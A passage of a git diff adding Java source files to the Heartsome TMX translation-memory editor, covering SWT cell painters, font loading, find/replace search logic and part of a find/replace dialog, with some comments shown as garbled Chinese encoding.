changedate.length() > 0) { + String name = "changedate: "; + sb.append(name).append(DateUtils.formatDateFromUTC(DateUtils.formatStringTime(changedate))); + StyleRange s = new StyleRange(); + s.start = nextStart; + s.length = name.length(); + nextStart = sb.length(); + styleRanges.add(s); + } + + String changeid = tu.getChangeUser(); + if (changeid != null && changeid.length() > 0) { + String name = " changeid: "; + sb.append(name).append(changeid); + StyleRange s = new StyleRange(); + s.start = nextStart; + s.length = name.length(); + nextStart = sb.length(); + styleRanges.add(s); + } + String dispalyStr = sb.toString(); + if (dispalyStr.length() == 0) { + dispalyStr = "N/A"; + layout.setText(dispalyStr); + return layout; + } + layout.setText(dispalyStr); + for (StyleRange styleRange : styleRanges) { + TextStyle style = new TextStyle(); + style.foreground = GUIHelper.COLOR_GRAY; + layout.setStyle(style, styleRange.start, styleRange.start + styleRange.length - 1); + } + return layout; + } + + private void loadFont(Font font) { + TextLayout layout = new TextLayout(Display.getDefault()); + try { + if (font != null) { + this.font = font; + Font boldFont = getFont(SWT.BOLD), italicFont = getFont(SWT.ITALIC), boldItalicFont = getFont(SWT.BOLD + | SWT.ITALIC); + layout.setText(" "); + layout.setFont(font); + layout.setStyle(new TextStyle(font, null, null), 0, 0); + layout.setStyle(new TextStyle(boldFont, null, null), 1, 1); + layout.setStyle(new TextStyle(italicFont, null, null), 2, 2); + layout.setStyle(new TextStyle(boldItalicFont, null, null), 3, 3); + FontMetrics metrics = layout.getLineMetrics(0); + ascent = metrics.getAscent() + metrics.getLeading(); + descent = metrics.getDescent(); + boldFont.dispose(); + italicFont.dispose(); + boldItalicFont.dispose(); + boldFont = italicFont = boldItalicFont = null; + } + layout.dispose(); + layout = new TextLayout(Display.getDefault()); + layout.setFont(this.font); + StringBuffer tabBuffer = new StringBuffer(tabSize); + for (int i = 0; i < tabSize; i++) { + tabBuffer.append(' '); + } + layout.setText(tabBuffer.toString()); + tabWidth = layout.getBounds().width; + layout.dispose(); + } finally { + if (layout != null && !layout.isDisposed()) { + layout.dispose(); + } + } + } + + public void setupGCFromConfig(GC gc, IStyle cellStyle) { + Color fg = cellStyle.getAttributeValue(CellStyleAttributes.FOREGROUND_COLOR); + Color bg = cellStyle.getAttributeValue(CellStyleAttributes.BACKGROUND_COLOR); + + gc.setAntialias(GUIHelper.DEFAULT_ANTIALIAS); + gc.setTextAntialias(GUIHelper.DEFAULT_TEXT_ANTIALIAS); + gc.setFont(font); + gc.setForeground(fg != null ? fg : GUIHelper.COLOR_LIST_FOREGROUND); + gc.setBackground(bg != null ? bg : GUIHelper.COLOR_LIST_BACKGROUND); + } + + private Font getFont(int style) { + Device device = Display.getDefault(); + switch (style) { + case SWT.BOLD: + return new Font(device, getFontData(style)); + case SWT.ITALIC: + return new Font(device, getFontData(style)); + case SWT.BOLD | SWT.ITALIC: + return new Font(device, getFontData(style)); + default: + return font; + } + } + + private FontData[] getFontData(int style) { + FontData[] fontDatas = font.getFontData(); + for (int i = 0; i < fontDatas.length; i++) { + fontDatas[i].setStyle(style); + } + return fontDatas; + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/painter/FlagPainter.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/painter/FlagPainter.java new file mode 100644 index 0000000..b6b60ca --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/painter/FlagPainter.java @@ -0,0 +1,28 @@ +package net.heartsome.cat.te.tmxeditor.editor.nattable.painter; + +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.painter.cell.BackgroundPainter; + +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Rectangle; + +/** + * 状æ€åˆ—Painter + * @author Leakey + * @version + * @since JDK1.5 + */ +public class FlagPainter extends BackgroundPainter { + + @Override + public int getPreferredHeight(LayerCell cell, GC gc, IConfigRegistry configRegistry) { + return 0; + } + + @Override + public void paintCell(LayerCell cell, GC gc, Rectangle bounds, IConfigRegistry configRegistry) { + super.paintCell(cell, gc, bounds, configRegistry); + } + +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/painter/LineNumberPainter.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/painter/LineNumberPainter.java new file mode 100644 index 0000000..6ded2f5 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/painter/LineNumberPainter.java @@ -0,0 +1,42 @@ +/** + * LineNumberPainter.java + * + * Version information : + * + * Date:Mar 1, 2012 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.tmxeditor.editor.nattable.painter; + +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.painter.cell.TextPainter; + +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Rectangle; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class LineNumberPainter extends TextPainter { + + + public LineNumberPainter() { + super(true,false); + } + + @Override + public int getPreferredHeight(LayerCell cell, GC gc, IConfigRegistry configRegistry) { + return 0; + } + @Override + public void paintCell(LayerCell cell, GC gc, Rectangle rectangle, IConfigRegistry configRegistry) { + super.paintCell(cell, gc, rectangle, configRegistry); + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/painter/TmxEditorTextPainter.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/painter/TmxEditorTextPainter.java new file mode 100644 index 0000000..055d6bb --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/painter/TmxEditorTextPainter.java @@ -0,0 +1,304 @@ +/** + * TmxEditorTextPainter.java + * + * Version information : + * + * Date:2013-6-4 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.tmxeditor.editor.nattable.painter; + +import java.util.List; +import java.util.regex.Matcher; + +import net.heartsome.cat.common.bean.TmxSegement; +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.common.innertag.InnerTagBean; +import net.heartsome.cat.common.innertag.TmxInnerTagParser; +import net.heartsome.cat.common.ui.innertag.InnerTagRender; +import net.heartsome.cat.te.tmxeditor.TmxEditorConstanst; +import net.heartsome.cat.te.tmxeditor.TmxEditorUtils; +import net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.painter.cell.BackgroundPainter; +import net.sourceforge.nattable.style.CellStyleAttributes; +import net.sourceforge.nattable.style.CellStyleUtil; +import net.sourceforge.nattable.style.IStyle; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.StyleRange; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Device; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.FontData; +import org.eclipse.swt.graphics.FontMetrics; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.GlyphMetrics; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.RGB; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.graphics.TextLayout; +import org.eclipse.swt.graphics.TextStyle; +import org.eclipse.swt.widgets.Display; + +/** + * æºå’Œç›®æ ‡åˆ—的绘制器 + * @author Jason + * @version + * @since JDK1.6 + */ +public class TmxEditorTextPainter extends BackgroundPainter { + private TmxEditorImpWithNattable editor; + private Font font; + private int ascent, descent; + + private final int tabSize = 4; + private int tabWidth; + + private final int topPadding = TmxEditorConstanst.SEGMENT_TOP_MARGIN; + private final int rightPadding = TmxEditorConstanst.SEGMENT_RIGHT_MARGIN; + private final int bottomPadding = TmxEditorConstanst.SEGMENT_BOTTOM_MARGIN; + private final int leftPadding = TmxEditorConstanst.SEGMENT_LEFT_MARGIN; + private final int lineSpace = TmxEditorConstanst.SEGMENT_LINE_SPACING; + + private InnerTagRender tagRender; + private TmxSegement tuv; + + public TmxEditorTextPainter(TmxEditorImpWithNattable editor) { + this.editor = editor; + Font font = JFaceResources.getFont("net.heartsome.cat.te.ui.tmxeditor.font"); + if (font == null) { + font = JFaceResources.getDefaultFont(); + } + loadFont(font); + tagRender = new InnerTagRender(); + } + + @Override + public int getPreferredHeight(LayerCell cell, GC gc, IConfigRegistry configRegistry) { + TextLayout layout = getCellTextLayout(cell); + int contentHeight = layout.getBounds().height; + layout.dispose(); + tuv = null; + contentHeight += topPadding; + contentHeight += bottomPadding; + contentHeight += 4;// 加上编辑模å¼ä¸‹ï¼ŒStyledTextCellEditor的边框 + return contentHeight; + } + + @Override + public int getPreferredWidth(LayerCell cell, GC gc, IConfigRegistry configRegistry) { + return super.getPreferredWidth(cell, gc, configRegistry); + } + + @Override + public void paintCell(LayerCell cell, GC gc, Rectangle bounds, IConfigRegistry configRegistry) { + super.paintCell(cell, gc, bounds, configRegistry); + IStyle cellStyle = CellStyleUtil.getCellStyle(cell, configRegistry); + setupGCFromConfig(gc, cellStyle); + + TextLayout layout = getCellTextLayout(cell); + if (TmxEditorImpWithNattable.showNonPrinttingChar) { + appendNonprintingStyle(layout); + } + Rectangle rectangle = cell.getBounds(); + layout.draw(gc, rectangle.x + leftPadding, rectangle.y + topPadding); + String displayText = layout.getText(); + if (tuv == null) { + layout.dispose(); + return; + } + List innerTagBeans = tuv.getInnerTags(); + for (InnerTagBean innerTagBean : innerTagBeans) { + String placeHolder = TmxInnerTagParser.getInstance().getPlaceHolderBuilder() + .getPlaceHolder(innerTagBeans, innerTagBeans.indexOf(innerTagBean)); + int start = displayText.indexOf(placeHolder); + if (start == -1) { + continue; + } + Point p = layout.getLocation(start, false); + int x = rectangle.x + p.x + leftPadding; + x += TmxEditorConstanst.SEGMENT_LINE_SPACING; + + Point tagSize = tagRender.calculateTagSize(innerTagBean); + int lineIdx = layout.getLineIndex(start); + Rectangle r = layout.getLineBounds(lineIdx); + int y = rectangle.y + p.y + topPadding + r.height / 2 - tagSize.y / 2; + tagRender.draw(gc, innerTagBean, x, y); + } + + layout.dispose(); + tuv = null; + } + + private TextLayout getCellTextLayout(LayerCell cell) { + int orientation = editor.getTable().getStyle() & (SWT.LEFT_TO_RIGHT | SWT.RIGHT_TO_LEFT); + TextLayout layout = new TextLayout(editor.getTable().getDisplay()); + layout.setOrientation(orientation); + layout.setSpacing(lineSpace); + layout.setFont(font); + layout.setAscent(ascent); + layout.setDescent(descent); // å’Œ StyledTextEditor åŒæ­¥ + layout.setTabs(new int[] { tabWidth }); + + Rectangle rectangle = cell.getBounds(); + int width = rectangle.width - leftPadding - rightPadding - 1; // å‡åŽ»ç¼–辑模å¼ä¸‹å·¦å³è¾¹æ¡† + layout.setWidth(width); + TmxTU tu = (TmxTU) cell.getDataValue(); + String searchStr = null; + if (cell.getColumnPosition() == editor.getSrcColumnIndex()) { + // source + tuv = tu.getSource(); + searchStr = editor.getSrcSearchStr(); + } else if (cell.getColumnPosition() == editor.getTgtColumnIndex()) { + // target + tuv = tu.getTarget(); + searchStr = editor.getTgtSearchStr(); + } + if (tuv != null) { + String displayText = resetRegularString(tuv.getTextTagPlaceHolder()); + if (TmxEditorImpWithNattable.showNonPrinttingChar) { + displayText = displayText.replaceAll("\\n", TmxEditorConstanst.LINE_SEPARATOR_CHARACTER + "\n"); + displayText = displayText.replaceAll("\\t", TmxEditorConstanst.TAB_CHARACTER + "\u200B"); + displayText = displayText.replaceAll(" ", TmxEditorConstanst.SPACE_CHARACTER + "\u200B"); + } + layout.setText(displayText); + if(searchStr != null && searchStr.length() != 0){ + if(TmxEditorImpWithNattable.showNonPrinttingChar){ + searchStr = searchStr.replaceAll("\\n", TmxEditorConstanst.LINE_SEPARATOR_CHARACTER + "\n"); + searchStr = searchStr.replaceAll("\\t", TmxEditorConstanst.TAB_CHARACTER + "\u200B"); + searchStr = searchStr.replaceAll(" ", TmxEditorConstanst.SPACE_CHARACTER + "\u200B"); + } + TextStyle style = new TextStyle(null, null, GUIHelper.COLOR_GREEN); + List ranges = TmxEditorUtils.calculateSearchStringStyleRange(displayText.toCharArray(), searchStr.toCharArray(), style); + for (StyleRange range : ranges) { + layout.setStyle(range, range.start, range.start + range.length - 1); + } + } + List innerTagBeans = tuv.getInnerTags(); + for (InnerTagBean innerTagBean : innerTagBeans) { + String placeHolder = TmxInnerTagParser.getInstance().getPlaceHolderBuilder() + .getPlaceHolder(innerTagBeans, innerTagBeans.indexOf(innerTagBean)); + int start = displayText.indexOf(placeHolder); + if (start == -1) { + continue; + } + TextStyle style = new TextStyle(); + Point rect = tagRender.calculateTagSize(innerTagBean); + style.metrics = new GlyphMetrics(rect.y, 0, rect.x + TmxEditorConstanst.SEGMENT_LINE_SPACING * 2); + layout.setStyle(style, start, start + placeHolder.length() - 1); + } + } + return layout; + } + + public void loadFont(Font font) { + TextLayout layout = new TextLayout(Display.getDefault()); + try { + if (font != null) { + this.font = font; + Font boldFont = getFont(SWT.BOLD), italicFont = getFont(SWT.ITALIC), boldItalicFont = getFont(SWT.BOLD + | SWT.ITALIC); + layout.setText(" "); + layout.setFont(font); + layout.setStyle(new TextStyle(font, null, null), 0, 0); + layout.setStyle(new TextStyle(boldFont, null, null), 1, 1); + layout.setStyle(new TextStyle(italicFont, null, null), 2, 2); + layout.setStyle(new TextStyle(boldItalicFont, null, null), 3, 3); + FontMetrics metrics = layout.getLineMetrics(0); + ascent = metrics.getAscent() + metrics.getLeading(); + descent = metrics.getDescent(); + boldFont.dispose(); + italicFont.dispose(); + boldItalicFont.dispose(); + boldFont = italicFont = boldItalicFont = null; + } + layout.dispose(); + layout = new TextLayout(Display.getDefault()); + layout.setFont(this.font); + StringBuffer tabBuffer = new StringBuffer(tabSize); + for (int i = 0; i < tabSize; i++) { + tabBuffer.append(' '); + } + layout.setText(tabBuffer.toString()); + tabWidth = layout.getBounds().width; + layout.dispose(); + } finally { + if (layout != null && !layout.isDisposed()) { + layout.dispose(); + } + } + } + + public void setupGCFromConfig(GC gc, IStyle cellStyle) { + Color fg = cellStyle.getAttributeValue(CellStyleAttributes.FOREGROUND_COLOR); + Color bg = cellStyle.getAttributeValue(CellStyleAttributes.BACKGROUND_COLOR); + + gc.setAntialias(GUIHelper.DEFAULT_ANTIALIAS); + gc.setTextAntialias(GUIHelper.DEFAULT_TEXT_ANTIALIAS); + gc.setFont(font); + gc.setForeground(fg != null ? fg : GUIHelper.COLOR_LIST_FOREGROUND); + gc.setBackground(bg != null ? bg : GUIHelper.COLOR_LIST_BACKGROUND); + } + + private Font getFont(int style) { + Device device = Display.getDefault(); + switch (style) { + case SWT.BOLD: + return new Font(device, getFontData(style)); + case SWT.ITALIC: + return new Font(device, getFontData(style)); + case SWT.BOLD | SWT.ITALIC: + return new Font(device, getFontData(style)); + default: + return font; + } + + } + + private FontData[] getFontData(int style) { + FontData[] fontDatas = font.getFontData(); + for (int i = 0; i < fontDatas.length; i++) { + fontDatas[i].setStyle(style); + } + return fontDatas; + } + + public Font getFont() { + return this.font; + } + + /** 将所有转义字符全部转æ¢æˆåŽŸå§‹çŠ¶æ€ï¼Œåªé€‚用于文本内容的显示 */ + private String resetRegularString(String input) { + input = input.replaceAll("<", "<"); + input = input.replaceAll(">", ">"); + input = input.replaceAll(""", "\""); + input = input.replaceAll("&", "&"); + input = input.replaceAll(System.getProperty("line.separator"), "\n"); + return input; + } + + private void appendNonprintingStyle(TextLayout layout) { + TextStyle style = null; + String s = layout.getText(); + Matcher matcher = TmxEditorConstanst.NONPRINTING_PATTERN.matcher(s); + while (matcher.find()) { + int start = matcher.start(); + int end = matcher.end(); + TextStyle st = layout.getStyle(start); + if(st != null && st.background != null){ + style = new TextStyle(font, GUIHelper.getColor(new RGB(100, 100, 100)), st.background); + } else { + style = new TextStyle(font, GUIHelper.getColor(new RGB(100, 100, 100)), null); + } + layout.setStyle(style, start, end - 1); + } + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/search/AbstractFindReplace.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/search/AbstractFindReplace.java new file mode 100644 index 0000000..6c6b2ab --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/search/AbstractFindReplace.java @@ -0,0 +1,135 @@ +/** + * AbstractFindReplace.java + * + * Version information : + * + * Date:2013-8-16 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.tmxeditor.editor.nattable.search; + +import java.util.ArrayList; +import java.util.List; +import java.util.regex.Matcher; + +import org.eclipse.jface.text.BadLocationException; +import org.eclipse.jface.text.Document; +import org.eclipse.jface.text.FindReplaceDocumentAdapter; +import org.eclipse.jface.text.IRegion; +import org.eclipse.jface.text.Region; + +import net.heartsome.cat.common.innertag.factory.PlaceHolderEditModeBuilder; +import net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess; +import net.heartsome.cat.te.tmxeditor.TmxEditorConstanst; +import net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable; + +/** + * Find , Find content in TmxDataAccess, and then display result in NatTable + * @author Jason + * @version + * @since JDK1.6 + */ +public abstract class AbstractFindReplace { + + protected boolean searchForward = true; + + protected boolean caseSensitive; + + protected boolean wholeWord; + + protected boolean regExSearch; + + public AbstractFindReplace(AbstractTmxDataAccess dataAccess) { + + } + + public void setSearchStategy(boolean searchForward, boolean caseSensitive, boolean wholeWord, boolean regExSearch) { + this.searchForward = searchForward; + this.caseSensitive = caseSensitive; + this.wholeWord = wholeWord; + this.regExSearch = regExSearch; + } + + /** + * do find + * @param startRow + * Start row to find + * @param offset + * Start find offset In start row + * @param lang + * Language to find, correspond to column in NatTable + * @param findStr + * Content to find + * @return Find result; + */ + public abstract FindReasult find(int startRow, int offset, String lang, String findStr); + + /** + * @param offset + * @param text + * Full Text + * @param findStr + * @return ; + */ + protected Region matchString(int offset, String text, String findStr) { + if (TmxEditorImpWithNattable.showNonPrinttingChar) { + findStr = findStr.replaceAll("\\n", TmxEditorConstanst.LINE_SEPARATOR_CHARACTER + "\n"); + findStr = findStr.replaceAll("\\t", TmxEditorConstanst.TAB_CHARACTER + "\u200B"); + findStr = findStr.replaceAll(" ", TmxEditorConstanst.SPACE_CHARACTER + "\u200B"); + text = text.replaceAll("\\n", TmxEditorConstanst.LINE_SEPARATOR_CHARACTER + "\n"); + text = text.replaceAll("\\t", TmxEditorConstanst.TAB_CHARACTER + "\u200B"); + text = text.replaceAll(" ", TmxEditorConstanst.SPACE_CHARACTER + "\u200B"); + } + List tagPositions = new ArrayList(); + Matcher matcher = PlaceHolderEditModeBuilder.PATTERN.matcher(text); + int tempOffset = offset; + while (matcher.find()) { + int start = matcher.start(); + if (offset != -1 && start < tempOffset) { + offset--; + } + tagPositions.add(start - tagPositions.size()); + } + text = matcher.replaceAll(""); + if (offset != -1 && searchForward) { + if (offset >= text.length() || offset + findStr.length() > text.length()) { + return null; + } + } else if (offset != -1 && !searchForward) { + if (offset - findStr.length() < 1) { + return null; + } + offset = offset == text.length() ? offset - 1 : offset; + } + Document doc = new Document(text); + FindReplaceDocumentAdapter adapter = new FindReplaceDocumentAdapter(doc); + try { + IRegion region = adapter.find(offset, findStr, searchForward, caseSensitive, wholeWord, regExSearch); + if (region != null) { + int s = region.getOffset(); + int e = s + region.getLength(); + int ns = s; + int ne = e; + for (int tagp : tagPositions) { + if (s >= tagp) { + ns += 1; + } + if (e > tagp) { + ne += 1; + } + if (tagp >= e) { + break; + } + } + return new Region(ns, ne - ns); + } + } catch (BadLocationException e) { + e.printStackTrace(); + } + return null; + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/search/FindReasult.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/search/FindReasult.java new file mode 100644 index 0000000..765a067 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/search/FindReasult.java @@ -0,0 +1,49 @@ +/** + * FindReasult.java + * + * Version information : + * + * Date:2013-8-7 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.tmxeditor.editor.nattable.search; + +import org.eclipse.jface.text.IRegion; + +/** + * The find result in NatTable + * @author Jason + * @version + * @since JDK1.6 + */ +public class FindReasult { + + private IRegion regin; + private String tuIdentifier; + + public FindReasult(IRegion regin, String tuIdentifier) { + this.regin = regin; + this.tuIdentifier = tuIdentifier; + } + + public IRegion getRegin() { + return regin; + } + + public void setRegin(IRegion regin) { + this.regin = regin; + } + + public String getTuIdentifier() { + return tuIdentifier; + } + + public void setTuIdentifier(String tuIdentifier) { + this.tuIdentifier = tuIdentifier; + } + +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/search/FindReplaceDialog.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/search/FindReplaceDialog.java new file mode 100644 index 0000000..b952f02 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/search/FindReplaceDialog.java @@ -0,0 +1,584 @@ +package net.heartsome.cat.te.tmxeditor.editor.nattable.search; + +import java.text.MessageFormat; +import java.util.regex.Matcher; + +import net.heartsome.cat.common.innertag.factory.PlaceHolderEditModeBuilder; +import net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess; +import net.heartsome.cat.te.core.tmxdata.DatabaseDataAccess; +import net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess; +import net.heartsome.cat.te.tmxeditor.Activator; +import net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable; +import net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditor; +import net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.TeActiveCellEditor; +import net.heartsome.cat.te.tmxeditor.resource.Messages; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.IDialogSettings; +import org.eclipse.jface.text.IRegion; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.BusyIndicator; +import org.eclipse.swt.custom.StyledText; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; + +/** + * Find/replace dialog + * @author yule + * @version + * @since JDK1.5 + */ +public class FindReplaceDialog extends Dialog { + + private Combo findTextCombo; + private Combo replaceTextCombo; + + private Button forwardRadioBtn; + private Button backRadioBtn; + + private Button sourceRadioBtn; + private Button targetRadioBtn; + + private Button ignoreCaseCheckBtn; + private Button wholeWordCheckBtn; + private Button regExCheckBtn; + + private Button findBtn; + private Button replaceFindBtn; + private Button replaceBtn; + private Button replaceAllBtn; + + private Label statusLabel; + + private AbstractTmxDataAccess tmxDataAccess; + private TmxEditorImpWithNattable tmxEditorImpWithNattable; + private AbstractFindReplace findImpl; + + /** + * Create the dialog. + * @param parentShell + */ + public FindReplaceDialog(Shell parentShell) { + super(parentShell); + setBlockOnOpen(false); + setShellStyle(getShellStyle() ^ SWT.APPLICATION_MODAL | SWT.CLOSE | SWT.MODELESS | SWT.BORDER | SWT.TITLE); + } + + public void setTmxDataAccess(AbstractTmxDataAccess tmxDataAccess) { + this.tmxDataAccess = tmxDataAccess; + } + + public void setTmxEditorImpWithNattable(TmxEditorImpWithNattable tmxEditorImpWithNattable) { + this.tmxEditorImpWithNattable = tmxEditorImpWithNattable; + } + + public void setFindText(String text) { + if (text == null || text.length() == 0) { + return; + } + if (this.findTextCombo != null && !this.findTextCombo.isDisposed()) { + this.findTextCombo.setText(text); + } + } + + public void clearResource() { + this.findImpl = null; + this.tmxDataAccess = null; + this.tmxEditorImpWithNattable = null; + } + + @Override + public boolean close() { + clearResource(); + if (getShell() != null && !getShell().isDisposed()) { + writeDialogSettings(); + } + return super.close(); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.FindReplaceDialog.Title")); + } + + protected Control createContents(Composite parent) { + Composite composite = new Composite(parent, 0); + GridLayout layout = new GridLayout(); + layout.marginHeight = 0; + layout.marginWidth = 0; + layout.verticalSpacing = 0; + composite.setLayout(layout); + composite.setLayoutData(new GridData(GridData.FILL_BOTH)); + applyDialogFont(composite); + initializeDialogUnits(composite); + dialogArea = createDialogArea(composite); + loadDialogSettings(); + return composite; + } + + /** + * Create contents of the dialog. + * @param parent + */ + @Override + protected Control createDialogArea(Composite parent) { + Composite container = (Composite) super.createDialogArea(parent); + container.setLayout(new GridLayout(1, false)); + + Composite inputComp = new Composite(container, SWT.NONE); + inputComp.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + GridLayout glInputComp = new GridLayout(2, false); + glInputComp.marginHeight = 0; + glInputComp.marginWidth = 0; + inputComp.setLayout(glInputComp); + + Label findLabel = new Label(inputComp, SWT.NONE); + findLabel.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + findLabel.setText(Messages.getString("dialog.FindReplaceDialog.findLabel")); + + findTextCombo = new Combo(inputComp, SWT.NONE); + findTextCombo.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + Label replaceWithLabel = new Label(inputComp, SWT.NONE); + replaceWithLabel.setLayoutData(new GridData(SWT.RIGHT, 